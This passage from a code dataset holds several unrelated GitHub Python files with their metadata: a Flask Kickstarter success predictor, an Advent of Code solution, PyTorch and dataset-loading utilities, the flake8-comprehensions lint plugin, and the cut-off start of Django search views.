exists, skipping\")\n\nshutil.copy(basePath + \"/manifest.json\", basePath + \"/buildOut/manifest.json\")\nshutil.make_archive(\"build/client\", \"zip\", basePath + \"/buildOut\")\n\n\n","repo_name":"serenibyss/Gregicality-Community-Pack","sub_path":"build/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"25794338898","text":"from flask import Flask, jsonify, request\nfrom flask.templating import render_template\nimport pandas as pd\nimport joblib\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\napp = Flask(__name__)\n\n# class for Kickstarter objects with attributes now corresponding to encoded feature set used by neural network model\n# note that these no longer match the features used by the baseline regression, so that predict function does nothing\n\n\nclass Kickstarter:\n def __init__(self, df): # __init__ now shortened to take df input (which is what we'll be using anyway) directly\n feature = []\n for x in range(len(df.columns)):\n feature.append(df.iloc[0][x])\n\n self.id = feature[0]\n self.backers_count = feature[1]\n self.country = feature[2]\n self.currency = feature[3]\n self.currency_trailing_code = feature[4]\n self.current_currency = feature[5]\n self.disable_communication = feature[6]\n self.fx_rate = feature[7]\n self.goal = feature[8]\n self.is_starrable = feature[9]\n self.staff_pick = feature[10]\n self.static_usd_rate = feature[11]\n self.usd_exchange_rate = feature[12]\n self.usd_pledged = feature[13] # might be leaky\n self.pre_campaign = feature[14]\n self.planned_campaign = feature[15]\n self.actual_campaign = feature[16]\n self.post_campaign = feature[17] # might be leaky\n self.year_created = feature[18]\n self.month_created = feature[19]\n self.day_created = feature[20]\n self.weekday_created = feature[21]\n self.year_deadline = feature[22]\n self.month_deadline = feature[23]\n self.day_deadline = feature[24]\n self.weekday_deadline = feature[25]\n self.year_launched = feature[26]\n self.month_launched = feature[27]\n self.day_launched = feature[28]\n self.weekday_launched = feature[29]\n self.year_state_changed = feature[30] # state change may be leaky in conjunction with other features?\n self.month_state_changed = feature[31] # state change may be leaky in conjunction with other features?\n self.day_state_changed = feature[32] # state change may be leaky in conjunction with other features?\n self.weekday_state_changed = feature[33] # state change may be leaky?\n self.average_pledge_amount = feature[34]\n self.blurb_vector_length = feature[35]\n self.name_vector_length = feature[36]\n self.features = df # features stored redundantly here for ease of calling in barebones flask app\n\n def nn_predict(self): # predictor function using loaded neural network\n loaded_model = keras.models.load_model(\"ks_NN_model.h5\")\n if loaded_model.predict(self.features) > .5:\n return 'success'\n else:\n return 'failure'\n\n def predict_success(self): # predictor based on the baseline logistic regression model, now nonfunctional\n temp = pd.DataFrame(\n columns=['id', 'disable_communication', 'country', 'currency',\n 'currency_trailing_code', 'staff_pick', 'backers_count',\n 'static_usd_rate', 'category', 'name_len', 'name_len_clean',\n 'blurb_len', 'blurb_len_clean', 'deadline_weekday',\n 'created_at_weekday', 'launched_at_weekday', 'deadline_month',\n 'deadline_day', 'deadline_yr', 'deadline_hr', 'created_at_month',\n 'created_at_day', 'created_at_yr', 'created_at_hr', 'launched_at_month',\n 'launched_at_day', 'launched_at_yr', 'launched_at_hr'],\n data=[[self.goal, self.disable_communication, self.country, self.currency, self.currency_trailing_code,\n self.staff_pick, self.backers_count, self.static_usd_rate, self.category, self.name_len,\n self.name_len_clean, self.blurb_len, self.blurb_len_clean, self.deadline_weekday,\n self.created_at_weekday, self.launched_at_weekday, self.deadline_month, self.deadline_day,\n self.deadline_yr, self.deadline_hr, self.created_at_month, self.created_at_day,\n self.created_at_yr, self.created_at_hr, self.launched_at_month, self.launched_at_day,\n self.launched_at_yr, self.launched_at_hr]])\n y_pred = ks_baseline_pipeline.predict(temp)[0]\n return y_pred\n\n\n\n\n@app.route('/')\ndef index():\n return 'Predict success of kickstarter campaigns in the 10 item test sample with /predict[n]/ routes'\n\n\n@app.route('/inputs/', methods=['GET', 'POST'])\ndef process_input():\n return 'this is where user input is taken and stored as a Kickstarter object'\n\n\n# predict routes currently use campaigns lifted from the included test set of the neural network\n# once we have front end input we'll generate Kickstarters from that\n\n\n@app.route('/predict1/', methods=['GET', 'POST'])\ndef output_prediction1():\n sample = test_set.iloc[0:1]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict2/', methods=['GET', 'POST'])\ndef output_prediction2():\n sample = test_set.iloc[1:2]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict3/', methods=['GET', 'POST'])\ndef output_prediction3():\n sample = test_set.iloc[2:3]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict4/', methods=['GET', 'POST'])\ndef output_prediction4():\n sample = test_set.iloc[3:4]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict5/', methods=['GET', 'POST'])\ndef output_prediction5():\n sample = test_set.iloc[4:5]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict6/', methods=['GET', 'POST'])\ndef output_prediction6():\n sample = test_set.iloc[5:6]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict7/', methods=['GET', 'POST'])\ndef output_prediction7():\n sample = test_set.iloc[6:7]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict8/', methods=['GET', 'POST'])\ndef output_prediction8():\n sample = test_set.iloc[7:8]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict9/', methods=['GET', 'POST'])\ndef output_prediction9():\n sample = test_set.iloc[8:9]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\n@app.route('/predict10/', methods=['GET', 'POST'])\ndef output_prediction10():\n sample = test_set.iloc[9:10]\n test_object = Kickstarter(sample)\n prediction = test_object.nn_predict()\n return prediction\n\n\nif __name__ == '__main__':\n # model = keras.models.load_model(\"ks_NN_model\")\n test_set = pd.read_csv('ks_test_set.csv', index_col=0)\n app.run()\n","repo_name":"ptpt-kickstarter-success-1/kickstarter_campaign_success_predictor","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6610913245","text":"from aoc_inputs import get_input\nimport re\n\n\ndef get_signal_map(test=False):\n sensor_data = get_input(day_num=15, test=test).split('\\n')\n signal_map = {}\n for sensor in sensor_data:\n sx, bx = [int(x) for x in re.findall(r\"x=([\\-\\d]*)\", sensor)]\n sy, by = [int(y) for y in re.findall(r\"y=([\\-\\d]*)\", sensor)]\n dist = abs(sx - bx) + abs(sy - by)\n signal_map[(sx, sy)] = {'beacon': (bx, by), 'distance': dist}\n return signal_map\n\n\ndef signal_area(signal: tuple, dist: int):\n \"\"\"\n Don't do this. Your computer will freeze.\n \"\"\"\n sx, sy = signal\n signal_area = []\n for distx in range(dist + 1):\n for disty in range(dist - distx + 1):\n signal_area.extend([\n (sx - distx, sy - disty),\n (sx + distx, sy - disty),\n (sx - distx, sy + disty),\n (sx + distx, sy + disty)\n ])\n return list(set(signal_area))\n\n\ndef signal_borders(signal: tuple, dist: int, max_val: int):\n sx, sy = signal\n # want to be outside the border\n dist += 1\n borders = []\n for dx in range(dist + 1):\n dy = dist - dx\n borders.extend([\n (sx - dx, sy - dy),\n (sx + dx, sy - dy),\n (sx - dx, sy + dy),\n (sx + dx, sy + dy)\n ])\n borders = list(set([b for b in borders if b[0] in range(0, max_val) and b[1] in range(0, max_val)]))\n return borders\n\n\ndef outside_signal_area(loc: tuple, signal_map: dict = None):\n outside = []\n x, y = loc\n for sig, sigattrs in signal_map.items():\n sx, sy = sig\n dist = sigattrs['distance']\n # is this in range of the signal?\n if (abs(x - sx) + abs(y - sy)) > dist:\n outside.append(True)\n else:\n outside.append(False)\n break\n return all(outside)\n\n\ndef part_1(test=False):\n \"\"\"\n Triangles!!!\n \"\"\"\n unavail = set()\n if test:\n y_val = 10\n else:\n y_val = 2000000\n signal_map = get_signal_map(test=test)\n beacon_pos = set([b['beacon'] for s, b in signal_map.items()])\n for sig, sigattrs in signal_map.items():\n # if the signal area would cross the y_val\n if y_val in range(sig[1] - sigattrs['distance'], sig[1] + sigattrs['distance'] + 1):\n sx, sy = sig\n dist = sigattrs['distance']\n triangle_base = dist - abs(sy - y_val)\n for bx in range(sx - triangle_base, sx + triangle_base + 1):\n unavail.add((bx, y_val))\n # remove locations where there is already a beacon\n for beacon in unavail.intersection(beacon_pos):\n unavail.remove(beacon)\n return len(unavail)\n\n\ndef part_2(test=False):\n signal_map = get_signal_map(test=test)\n if test:\n max_val = 20\n else:\n max_val = 4000000\n for sig, sigattrs in signal_map.items():\n borders = signal_borders(sig, sigattrs['distance'], max_val)\n for loc in borders:\n if outside_signal_area(loc, signal_map):\n print(loc)\n return (loc[0] * 4000000) + loc[1]\n\n\nif __name__ == '__main__':\n print(part_1())\n print(part_2())\n","repo_name":"lcirvine/advent_of_code","sub_path":"2022/day15.py","file_name":"day15.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37932095026","text":"import numpy as np\nimport pandas as pd\nimport os, math\n\n# fixme: change to dataset location\nd = \"D:\\\\Google Drive\\\\skool\\\\CS 5361\\\\datasets\\\\project\\\\\"\nf = \"mbti.csv\"\n\nclass Dataset(object):\n def __init__(self, first_time=False, lo=0.71, hi=0.77, to_load='', chop=0.0005):\n self.X = None; self.Y = None\n self.x = None; self.y = None\n self.lo = lo; self.hi = hi\n self.chop = chop\n self.rand = np.random.randint(1,100000)\n if first_time:\n self._load() # read from csv (for first run only)\n self._save() # save the data as npy for faster future runs\n else:\n self._read(to_load) # read from npy\n\n \"\"\" FIRST RUN ONLY Read the data to be saved for faster runs \"\"\"\n def _load(self):\n data = np.asarray(pd.read_csv(d + f, sep=',', header=0)) # load from file\n x, y = self._break(data) # get the data into samples and target values\n self._split(x, y) # get training and test sets\n\n \"\"\" Read the data to be stored \"\"\"\n def _read(self, to_load):\n # find the npy files\n lst = os.listdir(d)\n # and ('baseline' not in s) and ('main' not in s) for non-spec use\n file = [i for i, s in enumerate(lst) if (to_load+'npy' in s)]\n # todo randomly load from list of test/train sets\n self.X = np.load(d+lst[file[1]], allow_pickle=True)\n self.Y = np.load(d+lst[file[3]], allow_pickle=True)\n self.x = np.load(d+lst[file[0]], allow_pickle=True)\n self.y = np.load(d+lst[file[2]], allow_pickle=True)\n print('Loaded',self.X.shape[0],'train, ',self.x.shape[0],'test samples.')\n\n \"\"\" Break the data into target values and training samples \"\"\"\n def _break(self, data):\n X = []; Y = []\n for i in range(data.shape[0]):\n for s in np.array(data[i][1].split('|||')):\n X.append(s) # sample\n Y.append(data[i][0]) # target value\n return np.asarray(X), np.asarray(Y)\n\n \"\"\" Split the data into training and test sets \"\"\"\n def _split(self, x, y):\n # randomly choosing a value between lo%-hi% of dataset for train/test split\n breakpoint = np.random.randint(self.lo*x.shape[0], self.hi*x.shape[0])\n self.X = x[:breakpoint]\n self.Y = y[:breakpoint]\n # saving the test data\n self.x = x[breakpoint+1:]\n self.y = y[breakpoint+1:]\n print('Using',self.X.shape[0],'train, ',self.x.shape[0],'test samples.')\n\n \"\"\" Saves the training and test data into npy for efficient access \"\"\"\n def _save(self, name=''):\n np.save(d+ 'X_' +str(self.X.shape[0]) + name,self.X)\n np.save(d+ 'Y_' +str(self.X.shape[0]) + name,self.Y)\n np.save(d+ 'x_' +str(self.x.shape[0]) + name,self.x)\n np.save(d+ 'y_' +str(self.x.shape[0]) + name,self.y)\n print('Saved npy files to ' +d+name)\n\n \"\"\" Getter methods: testing and training data \"\"\"\n def train(self):\n print('Using',math.ceil(self.chop*self.X.shape[0]),'training samples.')\n self.Y = self._representation(self.Y)\n self.X = self.X[self.rand+math.ceil(self.chop*self.X.shape[0]):]\n self.Y = self.Y[self.rand+math.ceil(self.chop*self.Y.shape[0]):]\n return self.X, self.Y\n\n def test(self):\n print('Using',math.floor(0.25*self.chop*self.X.shape[0]),'test samples.')\n self.y = self._representation(self.y)\n self.x = self.x[self.rand:self.rand+math.floor(0.25*self.chop*self.x.shape[0])]\n self.y = self.y[self.rand:self.rand+math.floor(0.25*self.chop*self.y.shape[0])]\n return self.x, self.y\n\n \"\"\" Change the representation of target values. \"\"\"\n def _representation(self, y, one_hot=True):\n if one_hot:\n y = list(s.replace('E', '0') for s in y)\n y = list(s.replace('I', '1') for s in y)\n y = list(s.replace('S', '0') for s in y)\n y = list(s.replace('N', '1') for s in y)\n y = list(s.replace('F', '0') for s in y)\n y = list(s.replace('T', '1') for s in y)\n y = list(s.replace('P', '0') for s in y)\n y = list(s.replace('J', '1') for s in y)\n return np.array(y)\n\n \"\"\" Setter method: testing and training data after pre-processing \"\"\"\n def set(self, X, Y, x, y, name=''):\n self.X = X\n self.Y = Y\n self.x = x\n self.y = y\n self._save(name)\n\n \"\"\" Get sample count of each personality/class type \"\"\"\n def of_each(self, in_strings=False):\n if in_strings:\n classes = ['INTJ', 'INTP', 'INFJ', 'INFP', 'ISTJ', 'ISTP', 'ISFJ',\n 'ISFP', 'ENTJ', 'ENTP', 'ENFJ', 'ENFP', 'ESTJ', 'ESTP',\n 'ESFJ', 'ESFP']\n else:\n classes = ['1111', '1110', '1101', '1100', '1011', '1010', '1001',\n '1000', '0111', '0110', '0101', '0100', '0011', '0010',\n '0001', '0000']\n for c in classes:\n print(str(np.sum(self.Y == c)), c, 'samples')\n\n \"\"\" Get the target value for c \"\"\"\n def get_train_target(self, c):\n return np.array([x[c] for x in self.Y])\n\n def get_test_target(self, c):\n return np.array([x[c] for x in self.y])\n","repo_name":"mahdafr/19w_cs5361-labs","sub_path":"project/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":5238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6446368640","text":"# Register-phase stats definitions\nDISCONNECTED = 0xf0\nNOT_REGISTERED = 0xf1\nWAIT_ACK_REG = 0xf2\nWAIT_INFO = 0xf3\nWAIT_ACK_INFO = 0xf4\nREGISTERED = 0xf5\nSEND_ALIVE = 0xf6\n\n# Periodic-communication packet types definitions\nALIVE = 0xb0\nALIVE_NACK = 0xb1\nALIVE_REJ = 0xb2\n\n# Register-phase packet types definitions\nREG_REQ = 0xa0\nREG_ACK = 0xa1\nREG_NACK = 0xa2\nREG_REJ = 0xa3\nREG_INFO = 0xa4\nINFO_ACK = 0xa5\nINFO_NACK = 0xa6\nINFO_REJ = 0xa7\n\n# Send to server packet types definitions\nSEND_DATA = 0xc0\nDATA_ACK = 0xc1\nDATA_NACK = 0xc2\nDATA_REJ = 0xc3\nSET_DATA = 0xc4\nGET_DATA = 0xc5\n","repo_name":"peremunoz/Client-Server","sub_path":"servermodule.py","file_name":"servermodule.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"73637807553","text":"# import dependencies\nimport time\nimport torch\nfrom PIL import Image\nfrom torch import nn, save, load\nfrom torch.optim import Adam\nfrom torch.utils.data import DataLoader\nfrom torchvision import datasets\nfrom torchvision.transforms import ToTensor\n\n# Get data\ntrain = datasets.MNIST(root=\"data\", download=True, train=True, transform=ToTensor())\ndataset = DataLoader(train, 32)\n# 1,28,28 - classes 0-9\n\n# Image Classifier Neural Network\nclass ImageClassifier(nn.Module):\n def __init__(self):\n super().__init__()\n self.model = nn.Sequential(\n nn.Conv2d(1, 32, (3, 3)),\n nn.ReLU(),\n nn.Conv2d(32, 64, (3, 3)),\n nn.ReLU(),\n nn.Conv2d(64, 64, (3, 3)),\n nn.ReLU(),\n nn.Flatten(),\n nn.Linear(64 * (28 - 6) * (28 - 6), 10),\n )\n\n def forward(self, x):\n return self.model(x)\n\n# Instance of the neural network, loss, optimizer\nclf = ImageClassifier().to('cpu') # Change 'cuda' to 'cpu'\nopt = Adam(clf.parameters(), lr=1e-3)\nloss_fn = nn.CrossEntropyLoss()\n\nimport time\n\n# ... (rest of the code)\n\n# Training flow\nif __name__ == \"__main__\":\n for epoch in range(10): # train for 10 epochs\n start_time = time.time()\n \n for i, batch in enumerate(dataset):\n X, y = batch\n X, y = X.to('cpu'), y.to('cpu') # Change 'cuda' to 'cpu'\n yhat = clf(X)\n loss = loss_fn(yhat, y)\n\n # Apply backprop\n opt.zero_grad()\n loss.backward()\n opt.step()\n\n # Print progress for every 100 batches\n if i % 100 == 0:\n print(f\"Epoch:{epoch}, Batch:{i}, Loss:{loss.item()}\")\n\n end_time = time.time()\n elapsed_time = end_time - start_time\n print(f\"Epoch:{epoch} loss is {loss.item()}, time elapsed: {elapsed_time:.2f} seconds\")\n\n with open('model_state.pt', 'wb') as f:\n save(clf.state_dict(), f)\n\n with open('model_state.pt', 'rb') as f:\n clf.load_state_dict(load(f))\n\n img = Image.open('President_Xi.jpeg')\n img_tensor = ToTensor()(img).unsqueeze(0).to('cpu') # Change 'cuda' to 'cpu'\n\n print(torch.argmax(clf(img_tensor)))\n","repo_name":"JahongLiu/Image-Classifier-Pytorch","sub_path":"pytorcha.py","file_name":"pytorcha.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16028374662","text":"import time\nimport io\nfrom contextlib import redirect_stdout\n\n\ndef decorator1(func):\n counter = 0\n\n def wrapper(*args, **kwargs):\n nonlocal counter\n start_time = time.time()\n\n # capture the output from stdout\n f = io.StringIO()\n with redirect_stdout(f):\n func(*args, **kwargs)\n\n # increase the count of function call\n counter += 1\n\n end_time = time.time()\n\n # calculate execution time by subtracting start time from end time\n exec_time = end_time - start_time\n\n # print requirement according to example\n print(func.__name__ + \" call \" + str(counter) + \" executed in \" + str(exec_time) + \" sec\")\n\n return wrapper\n","repo_name":"Ozziekins/Software_Design_with_Python","sub_path":"src/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32123857852","text":"import re\n\n\ndef tokenize(text: str):\n \"\"\"Split text into list of alphanumeric words and other characters\"\"\"\n tokenized = re.split('(\\w+)', text)\n return [word for word in tokenized if word != '']\n\n\nif __name__ == \"__main__\":\n print(tokenize(\"lorem, ipsum\"))\n assert tokenize(\"lorem, ipsum\") == ['lorem', ', ', 'ipsum']\n text = input()\n print(tokenize(text))","repo_name":"lukaszarczynski/morphis","sub_path":"tokenization.py","file_name":"tokenization.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"37731251682","text":"from __future__ import annotations\n\nimport ast\nfrom importlib.metadata import version\nfrom typing import Any\nfrom typing import Generator\n\n\nclass ComprehensionChecker:\n \"\"\"\n Flake8 plugin to help you write better list/set/dict comprehensions.\n \"\"\"\n\n name = \"flake8-comprehensions\"\n version = version(\"flake8-comprehensions\")\n\n __slots__ = (\"tree\",)\n\n def __init__(self, tree: ast.AST) -> None:\n self.tree = tree\n\n messages = {\n \"C400\": \"C400 Unnecessary generator - rewrite as a list comprehension.\",\n \"C401\": \"C401 Unnecessary generator - rewrite as a set comprehension.\",\n \"C402\": \"C402 Unnecessary generator - rewrite as a dict comprehension.\",\n \"C403\": \"C403 Unnecessary list comprehension - rewrite as a set comprehension.\",\n \"C404\": (\n \"C404 Unnecessary list comprehension - rewrite as a dict comprehension.\"\n ),\n \"C405\": \"C405 Unnecessary {type} literal - \",\n \"C406\": \"C406 Unnecessary {type} literal - \",\n \"C408\": \"C408 Unnecessary {type} call - rewrite as a literal.\",\n \"C409\": \"C409 Unnecessary {type} passed to tuple() - \",\n \"C410\": \"C410 Unnecessary {type} passed to list() - \",\n \"C411\": \"C411 Unnecessary list call - remove the outer call to list().\",\n \"C413\": \"C413 Unnecessary {outer} call around {inner}(){remediation}.\",\n \"C414\": \"C414 Unnecessary {inner} call within {outer}().\",\n \"C415\": \"C415 Unnecessary subscript reversal of iterable within {func}().\",\n \"C416\": \"C416 Unnecessary {type} comprehension - rewrite using {type}().\",\n \"C417\": \"C417 Unnecessary use of map - use a {comp} instead.\",\n \"C418\": (\n \"C418 Unnecessary {type} passed to dict() - \"\n + \"remove the outer call to dict().\"\n ),\n \"C419\": (\n \"C419 Unnecessary list comprehension passed to {func}() prevents \"\n + \"short-circuiting - rewrite as a generator.\"\n ),\n }\n\n def run(self) -> Generator[tuple[int, int, str, type[Any]], None, None]:\n # Stores previously seen map() nodes, to avoid raising C417 on it twice.\n visited_map_calls: set[ast.Call] = set()\n\n for node in ast.walk(self.tree):\n if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):\n num_positional_args = len(node.args)\n num_keyword_args = len(node.keywords)\n\n if (\n num_positional_args == 1\n and isinstance(node.args[0], ast.GeneratorExp)\n and node.func.id in (\"list\", \"set\")\n ):\n msg_key = {\"list\": \"C400\", \"set\": \"C401\"}[node.func.id]\n yield (\n node.lineno,\n node.col_offset,\n self.messages[msg_key],\n type(self),\n )\n\n elif (\n num_positional_args == 1\n and node.func.id == \"dict\"\n and len(node.keywords) == 0\n and isinstance(node.args[0], (ast.GeneratorExp, ast.ListComp))\n and isinstance(node.args[0].elt, ast.Tuple)\n and len(node.args[0].elt.elts) == 2\n ):\n if isinstance(node.args[0], ast.GeneratorExp):\n msg = \"C402\"\n else:\n msg = \"C404\"\n yield (\n node.lineno,\n node.col_offset,\n self.messages[msg],\n type(self),\n )\n\n elif (\n num_positional_args == 1\n and isinstance(node.args[0], ast.ListComp)\n and node.func.id in (\"list\", \"set\", \"any\", \"all\")\n ):\n msg_key = {\n \"list\": \"C411\",\n \"set\": \"C403\",\n \"any\": \"C419\",\n \"all\": \"C419\",\n }[node.func.id]\n msg = self.messages[msg_key].format(func=node.func.id)\n yield (\n node.lineno,\n node.col_offset,\n msg,\n type(self),\n )\n\n elif num_positional_args == 1 and (\n isinstance(node.args[0], ast.Tuple)\n and node.func.id == \"tuple\"\n or isinstance(node.args[0], ast.List)\n and node.func.id == \"list\"\n ):\n suffix = \"remove the outer call to {func}().\"\n msg_key = {\"tuple\": \"C409\", \"list\": \"C410\"}[node.func.id]\n msg = self.messages[msg_key] + suffix\n yield (\n node.lineno,\n node.col_offset,\n msg.format(\n type=type(node.args[0]).__name__.lower(), func=node.func.id\n ),\n type(self),\n )\n\n elif (\n num_positional_args == 1\n and num_keyword_args == 0\n and isinstance(node.args[0], (ast.Dict, ast.DictComp))\n and node.func.id == \"dict\"\n ):\n if isinstance(node.args[0], ast.Dict):\n type_ = \"dict\"\n else:\n type_ = \"dict comprehension\"\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C418\"].format(type=type_),\n type(self),\n )\n\n elif (\n num_positional_args == 1\n and isinstance(node.args[0], (ast.Tuple, ast.List))\n and (\n node.func.id in (\"tuple\", \"list\", \"set\")\n or (\n node.func.id == \"dict\"\n and all(\n isinstance(i, ast.Tuple) and len(i.elts) == 2\n for i in node.args[0].elts\n )\n )\n )\n ):\n suffix = \"rewrite as a {func} literal.\"\n msg_key = {\n \"tuple\": \"C409\",\n \"list\": \"C410\",\n \"set\": \"C405\",\n \"dict\": \"C406\",\n }[node.func.id]\n msg = self.messages[msg_key] + suffix\n yield (\n node.lineno,\n node.col_offset,\n msg.format(\n type=type(node.args[0]).__name__.lower(), func=node.func.id\n ),\n type(self),\n )\n\n elif (\n num_positional_args == 0\n and not has_star_args(node)\n and not has_double_star_args(node)\n and node.func.id == \"dict\"\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C408\"].format(type=node.func.id),\n type(self),\n )\n\n elif (\n num_positional_args == 0\n and num_keyword_args == 0\n and node.func.id in (\"tuple\", \"list\")\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C408\"].format(type=node.func.id),\n type(self),\n )\n\n elif (\n node.func.id in {\"list\", \"reversed\"}\n and num_positional_args > 0\n and isinstance(node.args[0], ast.Call)\n and isinstance(node.args[0].func, ast.Name)\n and node.args[0].func.id == \"sorted\"\n ):\n remediation = \"\"\n if node.func.id == \"reversed\":\n reverse_flag_value: bool | None = False\n for keyword in node.args[0].keywords:\n if keyword.arg != \"reverse\":\n continue\n if isinstance(keyword.value, ast.NameConstant):\n reverse_flag_value = keyword.value.value\n elif isinstance(keyword.value, ast.Num):\n reverse_flag_value = bool(keyword.value.n)\n else:\n # Complex value\n reverse_flag_value = None\n\n if reverse_flag_value is None:\n remediation = \" - toggle reverse argument to sorted()\"\n else:\n remediation = \" - use sorted(..., reverse={!r})\".format(\n not reverse_flag_value\n )\n\n msg = self.messages[\"C413\"].format(\n inner=node.args[0].func.id,\n outer=node.func.id,\n remediation=remediation,\n )\n yield (\n node.lineno,\n node.col_offset,\n msg,\n type(self),\n )\n\n elif (\n num_positional_args > 0\n and isinstance(node.args[0], ast.Call)\n and isinstance(node.args[0].func, ast.Name)\n and (\n (\n node.func.id in {\"set\", \"sorted\"}\n and node.args[0].func.id\n in {\"list\", \"reversed\", \"sorted\", \"tuple\"}\n )\n or (\n node.func.id in {\"list\", \"tuple\"}\n and node.args[0].func.id in {\"list\", \"tuple\"}\n )\n or (node.func.id == \"set\" and node.args[0].func.id == \"set\")\n )\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C414\"].format(\n inner=node.args[0].func.id, outer=node.func.id\n ),\n type(self),\n )\n\n elif (\n node.func.id in {\"reversed\", \"set\", \"sorted\"}\n and num_positional_args > 0\n and isinstance(node.args[0], ast.Subscript)\n and isinstance(node.args[0].slice, ast.Slice)\n and node.args[0].slice.lower is None\n and node.args[0].slice.upper is None\n and isinstance(node.args[0].slice.step, ast.UnaryOp)\n and isinstance(node.args[0].slice.step.op, ast.USub)\n and isinstance(node.args[0].slice.step.operand, ast.Num)\n and node.args[0].slice.step.operand.n == 1\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C415\"].format(func=node.func.id),\n type(self),\n )\n\n elif (\n node.func.id == \"map\"\n and node not in visited_map_calls\n and len(node.args) == 2\n and isinstance(node.args[0], ast.Lambda)\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C417\"].format(comp=\"generator expression\"),\n type(self),\n )\n\n elif (\n node.func.id in (\"list\", \"set\", \"dict\")\n and len(node.args) == 1\n and isinstance(node.args[0], ast.Call)\n and isinstance(node.args[0].func, ast.Name)\n and node.args[0].func.id == \"map\"\n and len(node.args[0].args) == 2\n and isinstance(node.args[0].args[0], ast.Lambda)\n ):\n # To avoid raising C417 on the map() call inside the list/set/dict.\n map_call = node.args[0]\n visited_map_calls.add(map_call)\n\n rewriteable = True\n if node.func.id == \"dict\":\n # For the generator expression to be rewriteable as a\n # dict comprehension, its lambda must return a 2-tuple.\n lambda_node = node.args[0].args[0]\n if (\n not isinstance(lambda_node.body, (ast.List, ast.Tuple))\n or len(lambda_node.body.elts) != 2\n ):\n rewriteable = False\n\n if rewriteable:\n comprehension_type = f\"{node.func.id} comprehension\"\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C417\"].format(comp=comprehension_type),\n type(self),\n )\n\n elif isinstance(node, (ast.DictComp, ast.ListComp, ast.SetComp)):\n if (\n len(node.generators) == 1\n and not node.generators[0].ifs\n and not node.generators[0].is_async\n and (\n (\n isinstance(node, (ast.ListComp, ast.SetComp))\n and isinstance(node.elt, ast.Name)\n and isinstance(node.generators[0].target, ast.Name)\n and node.elt.id == node.generators[0].target.id\n )\n or (\n isinstance(node, ast.DictComp)\n and isinstance(node.key, ast.Name)\n and isinstance(node.value, ast.Name)\n and isinstance(node.generators[0].target, ast.Tuple)\n and len(node.generators[0].target.elts) == 2\n and isinstance(node.generators[0].target.elts[0], ast.Name)\n and node.generators[0].target.elts[0].id == node.key.id\n and isinstance(node.generators[0].target.elts[1], ast.Name)\n and node.generators[0].target.elts[1].id == node.value.id\n )\n )\n ):\n yield (\n node.lineno,\n node.col_offset,\n self.messages[\"C416\"].format(type=comp_type[node.__class__]),\n type(self),\n )\n\n\ndef has_star_args(call_node: ast.Call) -> bool:\n return any(isinstance(a, ast.Starred) for a in call_node.args)\n\n\ndef has_double_star_args(call_node: ast.Call) -> bool:\n return any(k.arg is None for k in call_node.keywords)\n\n\ncomp_type = {\n ast.DictComp: \"dict\",\n ast.ListComp: \"list\",\n ast.SetComp: \"set\",\n}\n","repo_name":"adamchainz/flake8-comprehensions","sub_path":"src/flake8_comprehensions/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15886,"program_lang":"python","lang":"en","doc_type":"code","stars":452,"dataset":"github-code","pt":"61"} +{"seq_id":"43764060885","text":"__author__ = 'jblowe, amywieliczka'\n\nimport time, datetime\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render, render_to_response, redirect\nfrom django.template.loader import render_to_string\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.contrib import messages\nfrom django import forms\nfrom cspace_django_site.main import cspace_django_site\nfrom utils import writeCsv, doSearch, setupGoogleMap, setupBMapper, computeStats, setupCSV, setDisplayType, setConstants, loginfo\nfrom appconfig import CSVPREFIX, CSVEXTENSION, MAXRESULTS\nfrom .models import AdditionalInfo\n\n\n# global variables (at least to this module...)\n\nfrom appconfig import loadFields\n\n\ndef direct(request):\n return redirect('search/')\n\n\n@login_required()\ndef search(request):\n if request.method == 'GET' and request.GET != {}:\n context = {'searchValues': dict(request.GET.iteritems())}\n context = doSearch(context)\n\n else:\n context = setConstants({})\n\n loginfo('start search', context, 